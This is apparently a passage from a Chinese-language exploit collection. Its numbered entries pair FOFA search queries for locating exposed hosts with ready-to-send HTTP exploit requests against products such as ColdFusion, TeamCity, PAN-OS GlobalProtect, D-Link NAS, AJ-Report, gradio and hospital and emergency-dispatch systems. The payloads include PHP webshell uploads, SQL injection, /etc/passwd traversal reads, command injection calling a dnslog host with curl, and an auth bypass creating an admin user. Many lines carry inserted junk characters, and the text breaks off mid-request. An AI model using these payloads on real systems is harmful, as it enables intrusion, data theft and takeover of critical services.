FOFA：app="Adobe-ColdFusion" && title=="Error Occurred While Processing Request"
第一步，获取uuid
GET /CFIDE/adminapi/_servermanager/servermanager.cfc?method=getHeartBeat HTTP/1.1
Host: x.x.x.x
4 v% @: ~5 b8 b& o, B8 A" \User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: */*
& K4 B6 K5 i/ I$ D0 M; DAccept-Encoding: gzip, deflate
Connection: close
: h/ j! @- A5 f2 L( G: w9 ?: y' I

) [& h- d( |( V+ c4 h第二步，读取/etc/passwd文件
GET /pms?module=logging&file_name=../../../../../../../etc/passwd&number_of_lines=100 HTTP/1.1
Host: x.x.x.x
0 t  V# n5 g/ g6 h3 g8 FUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: */*
$ L' O+ u& x9 HAccept-Encoding: gzip, deflate
Connection: close
uuid: 85f60018-a654-4410-a783-f81cbd5000b9
* Z- @, z" n% j' X

. r. P8 J  M3 B2 T& u130. Laykefu客服系统任意文件上传
FOFA：icon_hash="-334624619"
' @: V, d+ @; n& J. z% z( `POST /admin/users/upavatar.html HTTP/1.1
& ]7 X* W3 O6 X: s' DHost: 127.0.0.1
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Edg/107.0.1418.26
1 @1 t8 V/ d9 [7 k3 f1 o- C6 a* VContent-Type: multipart/form-data; boundary=----WebKitFormBoundary3OCVBiwBVsNuB2kR
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
4 F5 h& H# Y% j1 `" n: PCookie: user_name=1; user_id=3
Connection: close
2 ?4 M7 `+ c6 a+ |: f$ R
------WebKitFormBoundary3OCVBiwBVsNuB2kR
Content-Disposition: form-data; name="file"; filename="1.php"
Content-Type: image/png

<?php phpinfo();@eval($_POST['sec']);?>
4 e- X( m) W- ]" ~------WebKitFormBoundary3OCVBiwBVsNuB2kR--


131. Mini-Tmall <=20231017 SQL注入
FOFA：icon_hash="-2087517259"
后台地址：http://localhost:8080/tmall/admin
http://localhost:8080/tmall/admin/user/1/1?orderBy=7,if((length(database())=11),SLEEP(3),0)

8 n6 o4 R1 B* g0 I+ m132. JetBrains TeamCity 2023.11.3 及以下版本存在身份验证绕过
CVE-2024-27198
FOFA：body="Log in to TeamCity"
POST /pwned?jsp=/app/rest/users;.jsp HTTP/1.1
Host: 192.168.40.130:8111
2 x$ B' J: Q/ r- {' SUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: */*
Content-Type: application/json
: y& o' J) l! l  NAccept-Encoding: gzip, deflate

: K; [$ {* [; H7 n( i{"username": "用户名", "password": "密码", "email": "[email protected]", "roles": {"role": [{"roleId": "SYSTEM_ADMIN", "scope": "g"}]}}

+ I& Z, a' u" @$ Z3 i  w8 @7 y
" W  T" t+ e9 T) D! }: Q7 fCVE-2024-27199
/res/../admin/diagnostic.jsp
/.well-known/acme-challenge/../../admin/diagnostic.jsp
/update/../admin/diagnostic.jsp


9 O, i5 @- h4 L5 c8 CCVE-2024-27198-RCE.py

133. H5 云商城 file.php 文件上传
4 A& Y( z6 V% g0 R0 _# r2 G; e$ [FOFA：body="/public/qbsp.php"
9 n& i) h' F+ T( K  oPOST /admin/commodtiy/file.php?upload=1 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
# o- _, \5 V* U/ O- W; wContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryFQqYtrIWb8iBxUCx
! c  F' _8 M9 e7 Y9 ~
------WebKitFormBoundaryFQqYtrIWb8iBxUCx
' i: U" K4 ]( a6 O, C0 Q# MContent-Disposition: form-data; name="file"; filename="rce.php"
Content-Type: application/octet-stream

' o6 Y( V( ]2 `$ N4 k<?php system("cat /etc/passwd");unlink(__FILE__);?>
) L/ j% g5 ?, Q1 ~  l------WebKitFormBoundaryFQqYtrIWb8iBxUCx--
! F' {; b) I& m

3 ?$ @6 ^# j$ a6 R3 S
134. 网康NS-ASG应用安全网关index.php sql注入
$ }9 ]8 P8 v' X3 c; WCVE-2024-2330
Netentsec NS-ASG Application Security Gateway 6.3版本
1 d- c) a( o, HFOFA：app="网康科技-NS-ASG安全网关"
POST /protocol/index.php HTTP/1.1
Host: x.x.x.x
# B9 m' b) }8 tCookie: PHPSESSID=bfd2e9f9df564de5860117a93ecd82de
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
# [3 s( h8 F0 k1 kAccept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
- H4 m- X  s. m* @% r& SAccept-Encoding: gzip, deflate
5 ?) c# F/ x% y8 B8 Y  vSec-Fetch-Dest: empty
) b- A4 k7 x% s, r( d8 e6 GSec-Fetch-Mode: cors
( q3 J3 k# q6 z( ~4 U; I5 gSec-Fetch-Site: same-origin
0 l9 M4 q8 \! G5 l7 t0 L, z1 kTe: trailers
5 S- j$ V. r4 U2 DConnection: close
  R1 i1 Z+ W5 o% tContent-Type: application/x-www-form-urlencoded
Content-Length: 263

+ n' W; {9 u/ d9 _6 a( a* Zjsoncontent={"protocolType":"addmacbind","messagecontent":["{\"BandIPMacId\":\"1\",\"IPAddr\":\"eth0'and(updatexml(1,concat(0x7e,(select+version())),1))='\",\"MacAddr\":\"\",\"DestIP\":\"\",\"DestMask\":\"255.255.255.0\",\"Description\":\"Sample+Description\"}"]}
; A% |0 X% m; J/ k# K1 r- q  {
" O# _: O% e+ D7 c
135. 网康NS-ASG应用安全网关list_ipAddressPolicy.php sql注入
CVE-2024-2022
Netentsec NS-ASG Application Security Gateway 6.3版本
FOFA：app="网康科技-NS-ASG安全网关"
$ n. m  ]& Y" i& b2 X0 ?% bGET /admin/list_ipAddressPolicy.php?GroupId=-1+UNION+ALL+SELECT+EXTRACTVALUE(1,concat(0x7e,(select+md5(102103122)),0x7e)) HTTP/1.1
; V7 H7 r( z! P4 }Host: x.x.x.x
6 e* Q& ^+ o( m7 q8 v$ CUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
% C  e$ n/ i  Y7 q* V% ?Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
% w8 ], X; N2 xAccept-Language: zh-CN,zh;q=0.9
Connection: close
! e( x6 ^5 _, {2 k( Y/ w% o- S& o
4 r2 s) t( C1 {! t/ A. p% K
136. NextChat cors SSRF
5 i! b; T! H5 M0 h$ e5 q& |( sCVE-2023-49785
3 `3 t8 z8 p$ f' Y3 g# V5 OFOFA：title="NextChat"
GET /api/cors/http:%2f%2fnextchat.kr9dqoau.dnslog.pw%23 HTTP/1.1
Host: x.x.x.x:10000
; G$ K  p5 J5 w4 E1 j- {User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
! M* y3 w: g3 o# C  U- RConnection: close
) B' l( |( v  L$ I4 m$ pAccept: */*
. |( Z3 u1 _. j+ r2 q4 U) n, kAccept-Language: en
Accept-Encoding: gzip
# M. \/ {' H% t% B

- O& A! @. v) O( D137. 福建科立迅通信指挥调度平台down_file.php sql注入
CVE-2024-2620
FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
GET /api/client/down_file.php?uuid=1%27%20AND%20(SELECT%205587%20FROM%20(SELECT(SLEEP(5)))pwaA)%20AND%20%27dDhF%27=%27dDhF HTTP/1.1
8 U; `, m+ M% fHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
" X7 _. {1 Y& _* u9 k) |Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
' ^. Q/ D# H1 MAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
& ^1 r+ z' U& B5 W: \2 SAccept-Encoding: gzip, deflate, br
' g  p# g% C9 M, C' IConnection: close
Cookie: PHPSESSID=d62411cd4ada228583bbcae45f099567; authcode=uksj
Upgrade-Insecure-Requests: 1

3 ~, B1 z% z" p! F! y5 U; Z+ A
7 @) ]0 ~% Q, _1 Y6 g138. 福建科立讯通信指挥调度平台pwd_update.php sql注入
. ]5 W+ ^' s7 v7 y! Y! V) s+ l7 kCVE-2024-2621
$ w+ O1 X+ f' u( DFOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
GET /api/client/user/pwd_update.php?usr_number=1%27%20AND%20(SELECT%207872%20FROM%20(SELECT(SLEEP(5)))DHhu)%20AND%20%27pMGM%27=%27pMGM&new_password=1&sign=1 HTTP/1.1
9 w. N7 G: A5 ~; rHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
+ x6 W& n3 t' `1 s7 ?7 Z: o' _Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
: R7 i; y$ s: r: `Connection: close
: M& Z, r% k* B. X) Y5 p" C+ e; {+ mUpgrade-Insecure-Requests: 1
5 P: h% x; {$ t- `1 ^6 g* `! `3 O
& t3 t* L& `; M6 Y8 d
139. 福建科立讯通信指挥调度平台editemedia.php sql注入
CVE-2024-2622
  ]$ Q* Y; d, A2 B- uFOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
GET /api/client/editemedia.php?enterprise_uuid=1%27%20AND%20(SELECT%203257%20FROM%20(SELECT(SLEEP(5)))JPVs)%20AND%20%27gDyM%27=%27gDyM HTTP/1.1
* _6 X' J9 ^6 _- d! j' PHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
7 L( {- `) M6 s& oAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
  \3 X6 F! J  f/ W1 n0 V0 Y( X+ iAccept-Encoding: gzip, deflate, br
Connection: close
" l% ?1 K9 r! G7 }: rCookie: PHPSESSID=d62411cd4ada228583bbcae45f099567; authcode=cybk
- [6 \' t' [, c! J) G- t+ t" `, \# xUpgrade-Insecure-Requests: 1
9 z, i, y* y& {( N
; ^4 [  v* V2 l: \; _, C! {" |! a
) n% L" a( e$ u9 f  `140. 福建科立讯通信指挥调度平台get_extension_yl.php sql注入
: X" u1 H" C& N' iCVE-2024-2566
FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
: P: D0 c  [3 MGET /api/client/get_extension_yl.php?imei=1%27%20AND%20(SELECT%207545%20FROM%20(SELECT(SLEEP(5)))Zjzw)%20AND%20%27czva%27=%27czva&timestamp=1&sign=1 HTTP/1.1
* R' s. f0 G: OHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
1 B) z* K% }% [1 n1 Q' k4 k- qAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
& b* g( @5 T) E+ E, z% WAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
* b) q% u0 O6 sAccept-Encoding: gzip, deflate, br
Connection: close
Cookie: authcode=h8g9
, A' i* g; v( d0 `Upgrade-Insecure-Requests: 1
7 ]6 D( l& \" ]8 {' T
+ H7 h* u3 t. S6 g# P
141. 建科立讯通信指挥调度管理平台 ajax_users.php SQL注入
* j: |1 ^9 U1 J+ W2 R+ zFOFA：body="指挥调度管理平台"
POST /app/ext/ajax_users.php HTTP/1.1
Host: your-ip
* C; i& r6 V0 S2 }. l! TUser-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info
3 m1 P& @+ |5 c* d+ R! iContent-Type: application/x-www-form-urlencoded
. j7 I2 J9 L0 O% B5 q3 D6 Z
5 B* A' x5 H; A! w; K; Q
, I8 R4 q9 `; ^; N3 i7 b% A( Pdep_level=1') UNION ALL SELECT NULL,CONCAT(0x7e,md5(1),0x7e),NULL,NULL,NULL-- -
  Q+ s4 t& X. C7 g

7 j" V0 B0 {! V& l142. CMSV6车辆监控平台系统中存在弱密码
. L; a3 _9 M; W9 c5 NCVE-2024-29666
FOFA：body="/808gps/"
admin/admin
143. Netis WF2780 v2.1.40144 远程命令执行
0 I% K" x" D6 yCVE-2024-25850
" E6 o; ?) z5 `3 `0 f9 ^FOFA：title='AP setup' && header='netis'
PAYLOAD

$ _  s& e" h- j/ i" t1 ]144. D-Link nas_sharing.cgi 命令注入
FOFA：app="D_Link-DNS-ShareCenter"
system参数用于传要执行的命令
" Z6 ~; e1 S- sGET /cgi-bin/nas_sharing.cgi?user=mydlinkBRionyg&passwd=YWJjMTIzNDVjYmE&cmd=15&system=aWQ= HTTP/1.1
Host: x.x.x.x
( d8 Q( a# H" lUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
Connection: close
9 u& g: n$ w# `+ N8 s. T* ]1 MAccept: */*
Accept-Language: en
Accept-Encoding: gzip


) m5 p! E% H; C+ \6 a145. Palo Alto Networks PAN-OS GlobalProtect 命令注入
CVE-2024-3400
FOFA：icon_hash="-631559155"
$ p' d9 P5 e$ G# XGET /global-protect/login.esp HTTP/1.1
Host: 192.168.30.112:1005
- w! x' I& O1 n, w% jUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Edg/92.0.902.84
9 f  C8 h* i9 Z: q; g. }% H, NConnection: close
Cookie: SESSID=/../../../opt/panlogs/tmp/device_telemetry/minute/hellothere226`curl${IFS}dnslog地址`;
/ C2 R. c7 [, H2 qAccept-Encoding: gzip

& W; r5 _. ]8 W1 N+ ^
146. MajorDoMo thumb.php 未授权远程代码执行
CNVD-2024-02175
+ L1 ^5 s1 g4 e: I4 X' m) }; oFOFA：app="MajordomoSL"
/ z% e" M6 B: A$ h7 p! e- z% y6 s4 zGET /modules/thumb/thumb.php?url=cnRzcDovL2EK&debug=1&transport=%7C%7C+%28echo+%27%5BS%5D%27%3B+id%3B+echo+%27%5BE%5D%27%29%23%3B HTTP/1.1
1 d3 g" Z: w! e$ x! qHost: x.x.x.x
' P) w/ _& J# W; u7 Q$ L6 r/ jUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Edg/92.0.902.84
Accept-Charset: utf-8
Accept-Encoding: gzip, deflate
6 a; w4 m  C' w/ ], NConnection: close

6 @; j, H$ A) d
5 E2 t: Z' j  @& S1 Z147. RaidenMAILD邮件服务器v.4.9.4-路径遍历
CVE-2024-32399
FOFA：body="RaidenMAILD"
8 W% q' n8 \+ Y% [3 m( l5 lGET /webeditor/../../../windows/win.ini HTTP/1.1
Host: 127.0.0.1:81
2 S3 ?( P/ @! z$ h4 r& GCache-Control: max-age=0
$ J2 F9 G: }+ I6 i% f' N! uConnection: close
6 Q/ x% p3 @) \* N
0 `0 k4 Q6 A' @* [% j' s
148. CrushFTP 认证绕过模板注入
7 b$ {7 @* l( f& R1 pCVE-2024-4040
FOFA：body="CrushFTP"
' h4 @- c2 x6 JPAYLOAD

* v) m3 B! v' b3 c149. AJ-Report开源数据大屏存在远程命令执行
1 D" e1 }! o& w9 Z5 J' x# WFOFA：title="AJ-Report"
+ _4 T0 E4 ]! `8 p) T# n
4 ]% ]. d: J0 f. \$ q; QPOST /dataSetParam/verification;swagger-ui/ HTTP/1.1
# ?8 J+ e9 N+ IHost: x.x.x.x
% v! `* \( `* ]% @User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
$ h0 a$ f9 s6 \" F) KAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
- Y9 H7 Y9 L" hAccept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/json;charset=UTF-8
Connection: close
( i+ l- N! g* p! @( a: M' z
{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"ipconfig\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}
2 z1 l% Z: W0 W5 m/ i( g# n
150. AJ-Report 1.4.0 认证绕过与远程代码执行
FOFA：title="AJ-Report"
POST /dataSetParam/verification;swagger-ui/ HTTP/1.1
7 G) a3 O) M9 d9 ?: z, N( |Host: x.x.x.x
4 X+ U- P9 D/ yUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
$ a- P* X2 _& k6 yAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/json;charset=UTF-8
Connection: close
; J/ m5 }& O0 i, C# t; E+ ~/ B: BContent-Length: 339
& V9 C6 N- N/ S( z
{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"id\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}

6 s6 ?3 E- z! @4 ^4 R
7 S8 s( _3 E0 _" G3 [) |151. AJ-Report 1.4.1 pageList sql注入
7 {7 B9 Y  D+ D- @* Q- D( DFOFA：title="AJ-Report"
! _: Z  y( x0 [+ f7 y5 xGET /;swagger-ui/dataSource/pageList?showMoreSearch=false&pageNumber=1&pageSize=10 HTTP/1.1
Host: x.x.x.x
! t! P" p: N, o1 z* d( mUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Accept-Encoding: gzip
! G3 w6 h; d/ U) q
. _1 c0 A' F) e5 Q9 }
0 `1 H: j- H4 l) d152. Progress Kemp LoadMaster 远程命令执行
8 n' c. f* @! ?6 ]; w# FCVE-2024-1212
LoadMaster <= 7.2.59.2 (GA)
LoadMaster<=7.2.54.8 (LTSF)
  W0 S! N) k: b  o  Z9 o* J  q' fLoadMaster <= 7.2.48.10 (LTS)
FOFA：body="LoadMaster"
8 t( W& M1 y1 G$ D7 L* mJztsczsnOmRvZXNub3RtYXR0ZXI=是';ls;':doesnotmatter的base64编码
! o& r! Q! N: H9 \1 pGET /access/set?param=enableapi&value=1 HTTP/1.1
" u. N+ ?% c! G& y5 [' bHost: x.x.x.x
' E1 P3 z# d( M9 H5 C0 k% a  c# lUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_0) AppleWebKit/604.1 (KHTML, like Gecko) Version/9.1.2 Safari/604.1
: ?1 F2 h  a5 S$ u( `0 lConnection: close
7 G9 `' {* R5 I* v. }& UAccept: */*
7 l9 [$ C: O+ tAccept-Language: en
Authorization: Basic JztsczsnOmRvZXNub3RtYXR0ZXI=
Accept-Encoding: gzip
2 ~% u9 }* P3 }

153. gradio任意文件读取
CVE-2024-1561FOFA：body="__gradio_mode__"
第一步，请求/config文件获取componets的id
3 G6 ~, C7 M6 R0 m- S# h! Shttp://x.x.x.x/config

6 \" ?1 N' n$ L, a" C& ~" r2 l
% T  I7 z- J/ V$ d# y第二步，将/etc/passwd的内容写入到一个临时文件
" J# X5 C/ [/ N% G* D7 s' k0 cPOST /component_server HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.3 Safari/605.1.1514.1.3 Ddg/14.1.3
2 ~; P6 _! n+ l5 fConnection: close
- e4 f) o( J4 MContent-Length: 115
Content-Type: application/json
. P" c3 y' a0 W# lAccept-Encoding: gzip
+ }5 V' J) ^0 z) p: f
{"component_id": "1","data": "/etc/passwd","fn_name": "move_resource_to_block_cache","session_hash": "aaaaaaaaaaa"}


6 I4 M. n# A# w* U第三步访问
4 ~8 T& I. T; y9 zhttp://x.x.x.x/file=/tmp/gradio/ ... 8cdf49755073/passwd
  O9 v' g. X9 f. f1 q

154. 天维尔消防救援作战调度平台 SQL注入
CVE-2024-3720FOFA：body="天维尔信息科技股份有限公司" && title=="登入"
POST /twms-service-mfs/mfsNotice/page HTTP/1.1
8 N: f7 X! b4 Y. bHost: x.x.x.x
$ d' J+ s) _: Q& G- P+ hContent-Length: 106
8 c# g; s* C3 e+ c$ _Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://x.x.x.x
$ l' N8 m2 S' |3 j7 w5 tContent-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://x.x.x.x/twms-service-mfs/mfsNotice/page
, \" o6 K* b8 p# |6 a) sAccept-Encoding: gzip, deflate
0 |9 D  g+ h$ L' ]. }Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
, s7 x( H' z  CConnection: close
; x3 v+ `4 @9 ~5 [3 Q  q
. H. H" q7 T* Z{"currentPage":1,"pageSize":19,"query":{"gsdwid":"1f95b3ec41464ee8b8f223cc41847930') AND 7120=(SELECT 7120 FROM PG_SLEEP(5)) AND ('dZAi'='dZAi"},"hgubmt748n4":"="}


" ?/ M6 F  s: D155. 六零导航页 file.php 任意文件上传
( R2 g) u, B3 B) ?2 P  z, eCVE-2024-34982
FOFA：title=="上网导航 - LyLme Spage"
POST /include/file.php HTTP/1.1
. j& P! k$ c( m0 ~) }Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Connection: close
Content-Length: 232
Accept: application/json, text/javascript, */*; q=0.01
! B! k' K- {# v) V  [. G6 p2 {, [Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
. Q# k: o' J1 ]! B- x$ HContent-Type: multipart/form-data; boundary=---------------------------qttl7vemrsold314zg0f
1 I) E+ m4 [3 b9 O6 r9 C: _; zX-Requested-With: XMLHttpRequest

2 w! ]9 r. w# m8 f0 D. t-----------------------------qttl7vemrsold314zg0f
Content-Disposition: form-data; name="file"; filename="test.php"
Content-Type: image/png
5 m. q) S+ K1 B0 y/ m5 c
<?php phpinfo();unlink(__FILE__);?>
-----------------------------qttl7vemrsold314zg0f--
8 b/ D& T0 }$ o& d8 u( m: Y5 Z

访问回显文件http://x.x.x.x/files/upload/img_664ab7fd14d2c.php
0 g, e# h, S- o0 D/ c% q6 ~
; Q* v1 p4 H' D' s6 w156. TBK DVR-4104/DVR-4216 操作系统命令注入
CVE-2024-3721
FOFA："Location: /login.rsp"
·TBK DVR-4104
·TBK DVR-4216
curl "http://<dvr_host>:<port>/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=<URL_ENCODED_SHELL_COMMAND>" -H "Cookie: uid=1"
* g+ r- o! G+ Q2 B: v/ R9 d( T
3 _6 b" p& o& e5 h. S
POST /device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=echo%3B%20echo%20asrgkjh0%20%3E%20%2Fvar%2Fexample.txt%3B%20ls%20-l%20%2Fvar%3B%20echo%20----------------%3B%20cat%20%2Fvar%2Fexample.txt%3B HTTP/1.1
- p$ T( E) @. d' hHost: x.x.x.x
& |( \0 e' J6 fUser-Agent: Mozilla/5.0 (Macintosh;T2lkQm95X0c= Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
6 B1 n6 ?( @2 m3 h( v5 fConnection: close
, O! n9 P4 R$ R! EContent-Length: 0
% }' Y7 `! \) M. a; Q/ b# R! O- L! DCookie: uid=1
# z7 r0 k$ g- H9 _0 N* z2 R1 q. \Accept-Encoding: gzip
$ u9 o+ L1 p0 z3 ?  E0 {) s
9 q0 R$ `6 X+ W- a% k5 V' _( {# W! I
157. 美特CRM upload.jsp 任意文件上传
CNVD-2023-06971
& O9 O& o3 A3 U* Z. lFOFA：body="/common/scripts/basic.js"
POST /develop/systparam/softlogo/upload.jsp?key=null&form=null&field=null&filetitle=null&folder=null HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
Content-Length: 709
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cache-Control: max-age=0
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary1imovELzPsfzp5dN
Upgrade-Insecure-Requests: 1
: x$ J) N5 C# D' q
------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="file"; filename="kjldycpvjrm.jsp"
Content-Type: application/octet-stream

nyhelxrutzwhrsvsrafb
# X  f& s# a8 u  ]) I, z' y$ L" E------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="key"

null
' {$ L. g: k" ]" w/ Y' M5 Q------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="form"

null
------WebKitFormBoundary1imovELzPsfzp5dN
! h7 [& t* [$ q+ R' b* }2 a! y/ SContent-Disposition: form-data; name="field"

) i' {7 _: y7 t8 Nnull
, P( ^' V! U; p* G0 a9 R------WebKitFormBoundary1imovELzPsfzp5dN
8 q  I) y) s! aContent-Disposition: form-data; name="filetitile"
$ n0 u; Y4 C/ {, i
null
------WebKitFormBoundary1imovELzPsfzp5dN
6 ^5 x" o6 B; I" q) t! T* @; v* z, SContent-Disposition: form-data; name="filefolder"

null
5 X' t) q* q7 ]3 y, r1 s9 I; l------WebKitFormBoundary1imovELzPsfzp5dN--

9 F6 |5 ~( O& e& P2 y2 K6 L
/ t8 o+ y; a4 q; |* A9 V9 T, H# ~$ Qhttp://x.x.x.x/userfile/default/userlogo/kjldycpvjrm.jsp
! K! V6 O5 _' ?; u3 r! E8 N* C
158. Mura-CMS-processAsyncObject存在SQL注入
# c2 s4 W% Q7 Y0 ~% s7 w' cCVE-2024-32640
  h) y0 |. o6 i( E, W/ f; XFOFA："Generator: Masa CMS"
9 v/ U+ o/ Z6 ]& R7 u' xPOST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1
1 a& a$ O2 H0 u+ h3 Z9 N3 ]; BHost: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
! P( W7 ?+ r! M6 r
- k& Q- s, s# {0 Iobject=displayregion&contenthistid=x\'&previewid=1

8 q* ^  Q& l$ n  L. |
159. 英飞达医学影像存档与通信系统 WebJobUpload任意文件上传
FOFA："INFINITT" && (icon_hash="1474455751"|| icon_hash="702238928")
. \6 F6 ?. x# M, Z( TPOST /webservices/WebJobUpload.asmx HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
7 |( H* B! W- O* {Content-Length: 1080
/ }0 }5 \7 F7 ]& I# J/ v- h. s1 }Accept-Encoding: gzip, deflate
Connection: close
Content-Type: text/xml; charset=utf-8
Soapaction: "http://rainier/jobUpload"
; B& P( _% \- h9 ~/ f
' F, b3 z, e! A5 r; ?8 k0 c. V<?xml version="1.0" encoding="utf-8"?>
& z7 w. ?! c  x<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
, m8 U, w7 ^- K8 I4 z<soap:Body>
